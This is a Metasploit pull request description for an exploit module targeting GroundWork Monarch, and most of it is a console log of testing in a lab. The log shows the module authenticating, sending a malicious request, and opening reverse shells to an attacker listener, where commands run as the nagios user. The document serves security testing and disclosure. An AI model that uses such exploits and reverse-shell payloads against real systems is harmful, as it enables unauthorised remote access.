rapid7/metasploit-framework — pull request #1757 by jvazquez-r7 (2013-04-24 00:12:36+00:00)
Title: Add module for US-CERT-VU 345260

Tested successfully with GroundWork 6.7.0 on the GroundWork 6.7.0-br287-gw1571 VM appliance based on Ubuntu 10.04 which can be downloaded from the official web page still.

Test result with a couple of payloads (compatible payloads based on the commands available by default on the Ubuntu appliance):

```
msf exploit(groundwork_monarch_cmd_exec) > check
[*] The target appears to be vulnerable.
msf exploit(groundwork_monarch_cmd_exec) > set payload cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf exploit(groundwork_monarch_cmd_exec) > set RHOST 192.168.172.177
RHOST => 192.168.172.177
msf exploit(groundwork_monarch_cmd_exec) > set LHOST 192.168.172.1
LHOST => 192.168.172.1
msf exploit(groundwork_monarch_cmd_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.177:80 - Attempting to login...
[+] 192.168.172.177:80 - Authentication successful
[*] 192.168.172.177:80 - Sending malicious request...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.177:48447) at 2013-04-23 19:07:15 -0500

id
uid=1001(nagios) gid=1001(nagios) groups=1001(nagios)
^C
Abort session 1? [y/N] y

[*] 192.168.172.177 - Command shell session 1 closed. Reason: User exit
msf exploit(groundwork_monarch_cmd_exec) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf exploit(groundwork_monarch_cmd_exec) > rexploit
[*] Reloading module...

[*] 192.168.172.177:80 - Attempting to login...
[*] Started reverse double handler
[+] 192.168.172.177:80 - Authentication successful
[*] 192.168.172.177:80 - Sending malicious request...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 92FvwOvTkScFjV57;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "92FvwOvTkScFjV57\r\n"
[*] Matching...
[*] B is input...
i[*] Command shell session 2 opened (192.168.172.1:4444 -> 192.168.172.177:48471) at 2013-04-23 19:07:33 -0500
d
^R
iid
sh: iid: Permission denied
id
uid=1001(nagios) gid=1001(nagios) groups=1001(nagios)
^C
Abort session 2? [y/N] y

[*] 192.168.172.177 - Command shell session 2 closed. Reason: User exit

```